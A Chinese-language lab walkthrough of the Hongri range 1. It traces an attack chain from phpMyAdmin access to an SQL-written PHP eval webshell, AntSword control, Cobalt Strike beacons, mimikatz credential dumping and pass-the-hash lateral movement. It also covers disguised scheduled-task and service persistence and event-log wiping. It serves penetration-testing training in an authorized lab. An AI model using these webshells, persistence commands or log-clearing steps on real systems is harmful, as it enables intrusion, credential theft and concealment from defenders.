红日靶场实战:从PHPMyAdmin到内网渗透的完整攻防演练
1. 项目概述:一次完整的渗透测试实战复盘
最近在带新人做红日靶场1的实战演练,发现很多朋友对从信息收集到最终拿Shell的完整链路理解不够清晰,尤其是在面对像PHPMyAdmin这类常见服务时,常常卡在最后一步。今天我就以“红日靶场1”这个经典的Web渗透环境为例,完整复盘一遍从外网打点到内网横向的实战流程。核心会用到两个工具:蚁剑(AntSword)作为WebShell管理工具,以及Cobalt Strike(CS)作为内网渗透和权限维持的平台。整个过程我会拆解得非常细,特别是如何利用PHPMyAdmin这个看似“安全”的管理后台拿到系统Shell,这是很多实战场景中的突破口。
这个靶场模拟了一个典型的企业内网环境,外部有一台Web服务器作为入口点。我们的目标不仅仅是拿到Web服务器的权限,更要以此为跳板,深入内网,获取域控权限。整个流程涵盖了信息收集、漏洞利用、WebShell上传、权限提升、内网探测、横向移动和权限维持,是一次非常贴近真实攻防演练的综合性实战。无论你是刚入门渗透测试的新手,还是想梳理一下完整流程的老手,这篇复盘都能给你带来一些实操上的启发。
2. 环境准备与核心工具解析
2.1 靶场与工具环境搭建
首先,你需要一个可用的红日靶场1环境。通常,它是一个以虚拟机(VM)镜像形式提供的环境,你可以使用VMware或VirtualBox导入并运行。确保将虚拟机的网络模式设置为“桥接”或“NAT”,使其与你的攻击机(Kali Linux或其它渗透测试系统)处于同一网段。启动后,记下靶机的IP地址,这是我们所有攻击的起点。
接下来是攻击机的工具准备。核心是两样:
蚁剑(AntSword):这是一个开源的跨平台WebShell管理工具,图形化界面友好,支持多种脚本类型(PHP、JSP、ASPX等),文件管理、虚拟终端、数据库管理等功能一应俱全。它本质上是一个本地客户端,通过一个“加载器”来连接和管理我们上传到目标服务器的WebShell。你需要从GitHub下载其Release版本,解压后运行加载器(
antSword.exe或对应系统的可执行文件),首次运行会提示你创建一个空的数据目录。Cobalt Strike(CS):这是一个功能强大的商业化渗透测试框架(团队服务器),常用于模拟高级持续性威胁(APT)。我们主要利用它的“Beacon” payload进行内网横向移动、权限维持和团队协作。你需要准备CS的团队服务器(TeamServer)和客户端(Client)。在Linux攻击机上启动TeamServer,然后在任何能连接TeamServer的机器上使用客户端连接。CS的使用涉及授权,请确保在合法授权的环境中使用。
注意:所有工具和靶场仅用于合法的安全学习、测试和授权演练。务必在隔离的虚拟机环境或获得明确授权的网络中进行操作,切勿对未授权目标进行任何测试。
2.2 工具选型背后的逻辑:为什么是蚁剑+CS?
你可能会有疑问,WebShell管理工具有很多,比如菜刀、冰蝎,为什么选蚁剑?内网工具也有Metasploit、Empire等,为什么是CS?这里简单说说我的考量。
选择蚁剑的原因:
- 开源与活跃:蚁剑项目在GitHub上持续更新,社区活跃,遇到问题容易找到解决方案或插件。
- 跨平台与体验:基于Electron开发,在Windows、Linux、macOS上都有良好的图形界面,操作流畅,对新手友好。
- 功能模块化:除了基本的文件管理和命令执行,还集成了数据库管理、端口扫描、反弹Shell等多种插件,很多时候不需要切换其他工具。
- 流量加密:支持自定义加密器,可以一定程度上规避流量检测设备(当然,高级WAF和EDR依然能识别特征)。
选择Cobalt Strike的原因:
- 高度集成化:CS将信息收集、漏洞利用、横向移动、权限维持、钓鱼攻击等模块高度集成在一个可视化界面中,操作流非常顺畅。
- 强大的Beacon:Beacon作为后门,支持多种通信方式(HTTP、HTTPS、DNS、SMB等),心跳和任务分离,隐蔽性强,且内置了丰富的内网渗透命令(如
portscan,net view,psexec,mimikatz等)。 - 团队协作:支持多人同时连接一个TeamServer,共享会话、目标和日志,非常适合团队演练或教学。
- 生态成熟:围绕CS有大量的第三方工具、脚本和插件(如Aggressor Script),扩展性极强。
这套组合可以理解为:蚁剑是“先锋队”和“后勤部”,负责快速建立Web入口、上传文件、管理Shell;CS是“特种部队”和“指挥中心”,负责深入敌后、长期潜伏、执行复杂的内网任务。两者通过一个简单的“上线”操作进行衔接,流程非常自然。
3. 外部打点:信息收集与漏洞利用
3.1 靶标信息收集与初步探测
假设我们通过扫描发现靶机IP为192.168.1.100。第一步永远是信息收集,这决定了后续攻击的效率和方向。
端口扫描:使用
nmap进行全端口扫描,快速了解靶机开放了哪些服务。nmap -sS -sV -p- 192.168.1.100 -oA redsun_initial-sS是SYN半开扫描,-sV探测服务版本,-p-扫描所有65535个端口,-oA输出所有格式的报告。扫描结果可能会显示开放了80(HTTP)、3306(MySQL)、21(FTP)等端口。Web目录扫描:针对80端口的Web服务,使用
dirsearch或gobuster进行目录爆破,寻找后台、敏感文件等。dirsearch -u http://192.168.1.100 -e php,html,asp,aspx,jsp -t 50这个步骤非常关键,我们可能会发现
/admin/,/phpmyadmin/,/upload/,/backup/等目录,甚至是robots.txt、index.php.bak等泄露敏感信息的文件。Web应用指纹识别:访问
http://192.168.1.100,通过浏览器开发者工具查看响应头、Cookie、HTML注释,或者使用whatweb工具,识别网站使用的CMS、框架、中间件版本(如ThinkPHP, WordPress, Apache版本等)。已知漏洞往往存在于特定版本中。
在我的这次演练中,扫描发现目标开放了80端口,运行着Apache和PHP。目录扫描成功发现了/phpmyadmin/目录,这是一个重大突破口。
3.2 PHPMyAdmin漏洞利用与WebShell获取
访问http://192.168.1.100/phpmyadmin/,我们看到了熟悉的登录界面。常见的攻击思路有弱口令爆破、已知漏洞利用(如CVE-2016-5734, CVE-2018-12613等)。但红日靶场1通常设计为存在配置缺陷或逻辑漏洞。
情景假设:我们通过信息收集或弱口令(如root/root)成功进入了PHPMyAdmin管理后台。现在,目标是在服务器上写入一个WebShell。
方法:利用“SELECT ... INTO OUTFILE”语句写文件
这是MySQL的一个特性,前提是当前数据库用户拥有FILE权限,并且MySQL服务对目标目录有写权限,同时secure_file_priv系统变量没有限制写入路径(为空或指向特定目录)。
检查权限:在PHPMyAdmin的SQL执行窗口中,运行:
SHOW VARIABLES LIKE 'secure_file_priv'; SELECT file_priv FROM mysql.user WHERE user = CURRENT_USER();如果
secure_file_priv的值为空,并且file_priv为Y,则具备写文件条件。常见的Web目录如/var/www/html可能是可写的。写入WebShell:假设我们知道网站根目录是
/var/www/html,我们可以执行以下SQL语句,写入一个最简单的PHP一句话木马。SELECT '<?php @eval($_POST["ant"]);?>' INTO OUTFILE '/var/www/html/shell.php'这条命令会将PHP代码写入到
/var/www/html/shell.php文件中。$_POST["ant"]是我们后续连接时使用的密码。访问验证:在浏览器中访问
http://192.168.1.100/shell.php。如果页面空白(没有报错),通常意味着文件写入成功且可访问。我们可以用一个简单的POST请求测试,比如使用curl:curl -X POST http://192.168.1.100/shell.php -d "ant=echo 'Hello World';"如果返回了“Hello World”,说明WebShell执行成功。
实操心得:在实际环境中,
secure_file_priv常常被设置为NULL(禁止导出)或特定目录。如果被禁止,可以尝试通过PHPMyAdmin的“日志”功能、慢查询日志、或利用general_log等技巧来写Shell,但难度会增大。另外,写入路径需要准确,可以通过查询@@datadir等变量,或利用Web应用本身的文件上传、编辑功能进行结合。
4. 建立据点:蚁剑连接与初步控制
4.1 蚁剑配置与WebShell连接
拿到WebShell地址 (http://192.168.1.100/shell.php) 和连接密码 (ant) 后,我们打开蚁剑。
添加数据:在蚁剑主界面,右键点击空白处或点击“添加”按钮。在弹出的窗口中填写:
- URL地址:
http://192.168.1.100/shell.php - 连接密码:
ant(即我们写在Shell中的POST参数名) - 编码器:默认选择
default(不编码)。如果目标有防护,可以尝试base64,rot13等编码器来绕过简单的WAF检查。 - 备注:可以填写“红日靶场-Web入口”以便识别。
- URL地址:
测试连接:点击“添加”后,蚁剑会尝试连接。如果左下角状态显示“连接成功”,并且右侧文件管理器出现了目标服务器的目录结构(通常是Web根目录),恭喜你,第一步据点建立成功。
虚拟终端:双击新添加的Shell,在左侧文件管理器上方选择“虚拟终端”。尝试执行一些基本命令,如
whoami,pwd,ifconfig或ipconfig(Windows),来确认当前权限和网络环境。在红日靶场中,此时你很可能只是一个低权限的Web服务用户(如www-data,apache)。
4.2 信息收集与权限提升尝试
通过蚁剑的虚拟终端和文件管理功能,我们可以进行更深度的信息收集,为后续的权限提升和内网渗透做准备。
系统信息:
uname -a # 查看内核版本 cat /etc/issue 或 cat /etc/*release # 查看系统发行版 cat /proc/version用户与权限:
id # 当前用户详细信息 whoami # 当前用户名 sudo -l # 查看当前用户可以以root身份执行哪些命令(需要密码) cat /etc/passwd # 查看所有用户网络信息:
ifconfig 或 ip addr # 查看网卡和IP netstat -antup 或 ss -tulnp # 查看网络连接和监听端口 arp -a # 查看ARP缓存 route -n # 查看路由表 cat /etc/resolv.conf # 查看DNS配置寻找提权线索:
- SUID文件:查找设置了SUID位的可执行文件,这些文件运行时拥有文件所有者的权限。
find / -perm -u=s -type f 2>/dev/null - 内核漏洞:根据收集到的内核版本,搜索公开的本地提权(LPE)漏洞,如DirtyCow, CVE-2021-4034等。可以使用
linux-exploit-suggester等脚本辅助检查。 - 密码与配置文件:在Web目录、用户家目录、
/tmp、/var/backups等位置寻找配置文件(如config.php,.env)、数据库备份文件、历史命令(.bash_history),里面可能包含数据库密码、SSH密钥等敏感信息。
- SUID文件:查找设置了SUID位的可执行文件,这些文件运行时拥有文件所有者的权限。
在红日靶场1的典型场景中,你可能发现服务器上运行着MySQL,并且通过之前PHPMyAdmin的登录,你已经拥有了数据库的root密码。有时,Web应用的配置文件中就明文写着这个密码。如果这个MySQL的root用户密码与系统root用户密码相同(糟糕的安全实践但在一些环境中存在),或者可以通过MySQL的UDF(用户自定义函数)提权到系统root,这就是一条提权路径。
5. 内网渗透:CS Beacon上线与横向移动
5.1 生成Payload与蚁剑上传
当我们通过蚁剑获得了稳定的WebShell,并且收集到内网信息(发现内网还有其他主机)后,就需要建立一个更强大、更隐蔽的持久化控制通道。这就是Cobalt Strike的Beacon出场的时候。
在CS中生成Payload:
- 打开Cobalt Strike客户端,连接到你的TeamServer。
- 点击顶部菜单
Attacks->Packages->Windows Executable(或Windows Executable (S)用于无状态Stageless Payload)。选择x64或x86架构,Listener选择你事先创建好的一个(例如http或httpslistener)。点击Generate生成一个.exe后门文件。 - 对于Linux目标,我们需要生成一个Linux的ELF格式后门。CS原生不支持图形化生成Linux Beacon,但我们可以通过
Cross C2等插件,或者在TeamServer上用c2lint工具配合agscript来生成。更简单的方法是,使用msfvenom生成一个Linux的Meterpreter反向Shell,然后通过msf的exploit/multi/handler接收,再通过meterpreter的payload_inject模块将CS的Beacon DLL注入到目标进程。这里为了流程连贯,我们假设目标是一台Windows主机(红日靶场内网中常见)。
通过蚁剑上传Payload:
- 在蚁剑的文件管理器中,导航到一个有写权限的目录,如
/tmp(Linux) 或C:\Windows\Temp(Windows)。 - 将本地生成的
.exe文件上传到该目录。
- 在蚁剑的文件管理器中,导航到一个有写权限的目录,如
通过蚁剑执行Payload:
- 在蚁剑的虚拟终端中,切换到上传目录,并执行该
.exe文件。cd C:\Windows\Temp beacon.exe - 如果目标系统有杀毒软件,直接执行可能会被拦截。此时需要做免杀处理,例如使用加壳工具、编码器、或自己编译修改Payload。这是一个深水区,本篇不展开。
- 在蚁剑的虚拟终端中,切换到上传目录,并执行该
5.2 Beacon上线与内网探测
当你在蚁剑中执行了beacon.exe后,回到Cobalt Strike客户端,稍等片刻,你应该能在Views->Targets或者主界面的会话列表中看到一个新的上线主机(Session)。它的图标会从灰色变成彩色。
与Beacon交互:右键点击上线的会话,选择
Interact,会打开一个Beacon命令行窗口。在这里,你可以输入各种命令。基础信息收集(内网视角):在Beacon中执行:
shell ipconfig /all # Windows下查看详细网络配置 # 或者对于Linux Beacon shell ifconfignet view # 查看当前域或工作组中的机器列表(Windows)ping -n 1 192.168.52.10 # 探测内网另一台主机是否存活(假设内网网段是192.168.52.0/24)内网主机发现:CS内置了端口扫描功能。
- 在Beacon中,你可以使用
portscan命令,但更常用的是图形化操作。 - 在CS主界面,选中你的Beacon会话,点击顶部
Attacks->Scan,输入内网网段(如192.168.52.0/24)和端口范围(如1-1024或常见端口22,80,135,139,445,3389),选择扫描器类型(如arp扫描存活主机,portscan扫描端口),然后开始扫描。扫描结果会在View->Targets中以列表形式呈现。
- 在Beacon中,你可以使用
5.3 横向移动技术实战
假设我们通过扫描发现内网有一台IP为192.168.52.10的主机,开放了445端口(SMB),很可能是一台Windows主机。
凭证窃取:首先,我们需要获取能在内网进行认证的凭证。在已经控制的跳板机(第一台Web服务器)上,如果它是Windows且是域成员,我们可以尝试使用
mimikatz抓取内存中的密码哈希或明文密码。- 在CS的Beacon中,输入
mimikatz命令,它会自动注入mimikatz并运行一些常用命令(如privilege::debug,sekurlsa::logonpasswords)。输出结果会显示当前系统登录用户的密码哈希(NTLM hash)甚至可能是明文密码。 - 或者,使用更专业的命令:
logonpasswords。
- 在CS的Beacon中,输入
哈希传递攻击(Pass-the-Hash, PTH):如果我们抓取到了目标内网机器(
192.168.52.10)的本地管理员或域用户的NTLM哈希,并且该机器未启用受限管理员模式或相应的防护,我们可以直接使用这个哈希进行横向移动,而无需破解密码。- 在CS中,右键点击目标主机(
192.168.52.10),选择Jump->psexec或psexec64。 - 在弹出的对话框中,
Listener选择你的Beacon监听器,Credentials部分,选择Use a username and has,填入你抓取到的用户名和对应的NTLM哈希(去掉LM hash部分,通常全是0)。 - 点击
Launch,如果成功,你将会获得一个通往192.168.52.10的新Beacon会话。
- 在CS中,右键点击目标主机(
利用漏洞横向移动:如果目标机器存在已知的远程漏洞(如MS17-010 EternalBlue),也可以利用。CS集成了部分漏洞利用模块。你可以通过
Attacks->Packages->Windows Exploit选择对应的漏洞生成利用程序,然后通过已有的Beacon会话上传并执行。但这种方式动静较大,容易被发现。SMB Beacon:这是一种更隐蔽的横向移动方式。它利用Windows的命名管道(Named Pipe)在已控主机和未控主机之间建立通信,新的Beacon流量通过已控主机的SMB会话“隧道”出来,隐蔽性更强。配置相对复杂,需要先设置一个SMB的Listener,然后在
psexec跳板时选择这个SMB Listener。
通过以上一种或多种组合,我们可以在内网中从一个点逐步扩散,控制更多的主机。红日靶场1的内网通常设计有域环境,最终目标往往是获取域控制器的权限。
6. 权限维持与痕迹清理
6.1 持久化后门部署
拿到权限不是终点,如何让我们的访问权限在目标重启、用户登出后依然存在,是渗透测试的重要环节。Cobalt Strike提供了多种持久化方法。
计划任务(Scheduled Task):这是Windows系统最常用的持久化手段之一。在Beacon中,可以使用
schtasks命令创建计划任务,定期执行我们的后门。schtasks /create /tn "WindowsUpdateCheck" /tr "C:\Windows\Temp\beacon.exe" /sc hourly /mo 1 /f这条命令创建一个每小时运行一次
beacon.exe的计划任务。在CS图形界面,也可以通过Explore->Process List找到目标进程,右键Spawn到某个Listener,然后在Session菜单选择Make Token或Run As来以其他用户身份运行持久化任务。服务(Service):将后门注册为系统服务,随系统启动。
sc create "WinSvcUpdate" binPath= "C:\Windows\Temp\beacon.exe" start= auto sc start "WinSvcUpdate"使用CS的
psinject或spawn as功能可以更方便地注入到稳定进程(如svchost.exe)中。启动项(Startup):将后门或快捷方式放入用户的启动文件夹(
C:\Users\<用户名>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup)或系统的启动文件夹。WMI事件订阅:一种高级的、无文件(fileless)的持久化技术,通过WMI过滤器(Filter)和消费者(Consumer)绑定,在特定系统事件(如用户登录、特定时间间隔)触发执行Payload。CS的
aggressor script中有现成的脚本可以实现。
注意事项:持久化操作会留下明显的痕迹(如新的计划任务、服务、文件),在真实的对抗演练中需要权衡隐蔽性和必要性。同时,要避免在同一个系统中部署过多不同类型的后门,增加暴露风险。
6.2 操作痕迹清理
在演练结束或需要隐藏行踪时,清理痕迹是必要的。但请注意,在真实环境中,高水平的防守方可以通过审计日志、EDR等手段发现清理行为本身。
清理日志:
- Windows:使用
wevtutil命令清除事件日志。
或者在Beacon中直接使用shell wevtutil cl System shell wevtutil cl Security shell wevtutil cl Applicationclearev命令。 - Linux:清理
/var/log/目录下的相关日志,如auth.log,secure,messages,以及命令历史~/.bash_history。但直接删除文件可能引起管理员警觉,更隐蔽的方法是选择性清空或篡改。
- Windows:使用
删除上传的工具和文件:通过蚁剑或Beacon的文件管理功能,删除之前上传的WebShell (
shell.php)、Payload (beacon.exe)、以及其他临时工具。恢复配置:如果修改了系统配置(如防火墙规则、服务设置),应尽量恢复原状。
清除内存中的敏感信息:退出前,在Beacon中使用
shinject或kill命令结束注入的进程。但注意,kill命令会结束Beacon会话本身。
重要提醒:痕迹清理并非万能,特别是面对部署了完整安全信息与事件管理(SIEM)系统的环境,很多操作会被实时记录并告警。因此,在蓝队防守完善的今天,“隐身”和“慢速”操作比事后清理更重要。
7. 常见问题与排查技巧实录
在实际操作中,你肯定会遇到各种各样的问题。这里我记录了几个最典型的场景和解决思路。
7.1 PHPMyAdmin写Shell失败排查
- 问题:执行
INTO OUTFILE语句时,返回错误如#1045 - Access denied或#1290 - The MySQL server is running with the --secure-file-priv option。 - 排查:
- 权限问题:确认当前MySQL用户拥有
FILE权限。执行SELECT file_priv FROM mysql.user WHERE user = CURRENT_USER();查看。 secure_file_priv限制:执行SHOW VARIABLES LIKE 'secure_file_priv';。如果值不是空,则只能向该指定目录写入。你需要找到这个目录(可能是/tmp或/var/lib/mysql-files/),并尝试写入。如果值为NULL,则禁止导出,此路不通。- 目录权限:MySQL进程(通常是
mysql用户)需要对目标目录有写权限。尝试写入/tmp目录,因为它通常对所有用户可写。 - 路径错误:Web根目录路径可能不是猜测的
/var/www/html。可以通过查询@@basedir或@@datadir推测,或者利用PHP的phpinfo()页面查找_SERVER[“DOCUMENT_ROOT”]信息。
- 权限问题:确认当前MySQL用户拥有
- 备用方案:
- 利用日志文件:开启MySQL的通用查询日志,将Shell代码写入日志文件,然后访问日志文件。
SET global general_log = on; SET global general_log_file = '/var/www/html/shell.php'; SELECT '<?php @eval($_POST[cmd]);?>'; SET global general_log = off; - 利用PHPMyAdmin的SQL执行历史:某些旧版本或特定配置的PHPMyAdmin会将SQL语句记录在数据库中或会话中,可能造成二次注入,但概率较低。
- 利用日志文件:开启MySQL的通用查询日志,将Shell代码写入日志文件,然后访问日志文件。
7.2 蚁剑连接成功但无法执行命令
- 问题:蚁剑显示连接成功,文件管理器能看到目录,但虚拟终端执行命令无回显或报错。
- 排查:
- 禁用函数:PHP可能禁用了
system,shell_exec,exec,passthru等危险函数。在蚁剑的“文件管理”中,找到网站目录下的PHP文件,编辑并添加<?php phpinfo();?>,访问该页面,搜索disable_functions,查看哪些函数被禁用。 - 解决方案:
- 使用未被禁用的函数,如
popen()/proc_open(),或者用PHP代码调用其他语言(如Perl, Python)。 - 使用蚁剑的“绕过禁用函数”插件(如果有对应环境的)。
- 上传一个自定义的、用其他语言编写的WebShell(如
.jsp,.aspx),如果服务器支持。
- 使用未被禁用的函数,如
- 权限问题:当前Web用户权限极低,可能无法执行某些命令或访问某些目录。尝试使用
sudo -l查看是否可以免密执行某些高权限命令。
- 禁用函数:PHP可能禁用了
7.3 Cobalt Strike Beacon不上线
- 问题:在蚁剑中执行了生成的
.exe,但CS客户端迟迟看不到会话上线。 - 排查:
- 网络连通性:首先确保你的TeamServer IP和端口能被靶机访问到。在靶机上用蚁剑的虚拟终端执行
telnet <你的CS服务器IP> <监听端口>或curl http://<你的CS服务器IP>:<端口>测试连通性。如果靶机在内网,你的CS服务器需要在公网或有路由可达。 - 监听器配置:检查CS的Listener配置是否正确,特别是
Bind to的IP地址(应为0.0.0.0或你的服务器具体IP),端口是否被防火墙阻挡。 - Payload类型:确认生成的Payload架构(x86/x64)与目标系统匹配。32位Payload可以在64位系统上运行,但反之不行。
- 杀软拦截:这是最常见的原因。Payload可能被目标主机上的杀毒软件静态或动态查杀。需要做免杀处理。
- Session丢失:如果Beacon是Stager(分阶段)类型,它可能成功运行并下载了Stage2,但Stage2在内存中执行时被拦截。尝试生成Stageless Payload(
Windows Executable (S))。 - 查看Beacon日志:在CS客户端,点击
View->Event Log,这里会记录一些错误信息,如连接失败等。
- 网络连通性:首先确保你的TeamServer IP和端口能被靶机访问到。在靶机上用蚁剑的虚拟终端执行
7.4 横向移动时PsExec失败
- 问题:使用抓取的哈希进行PsExec横向移动时失败。
- 排查:
- 目标主机防火墙:目标主机(
192.168.52.10)的防火墙可能阻止了445端口(SMB)或135端口(WMI)的访问。尝试在已控主机上ping和telnet测试端口。 - 管理员共享关闭:目标主机的
ADMIN$共享可能被关闭。这是PsExec复制文件所必需的。 - UAC限制:即使使用本地管理员哈希,如果目标系统启用了UAC(用户账户控制),远程PsExec可能无法获取高完整性令牌。可以尝试使用
psexec_psh(PowerShell版本)或wmi跳板方式。 - 哈希无效或用户权限不足:抓取的哈希可能不是目标机器的本地管理员或域管理员哈希。确认用户名和哈希对应关系正确,并且该用户在目标机器上有管理员权限。
- 被防护软件拦截:目标主机可能安装了终端防护(EDR)软件,拦截了远程服务创建或进程注入行为。
- 目标主机防火墙:目标主机(
面对这些问题,渗透测试就是一个不断迭代、尝试和绕过的过程。没有一成不变的通法,关键在于对原理的理解、信息的收集和工具链的灵活运用。每次遇到问题并解决它,都是对你技术栈的一次重要扩充。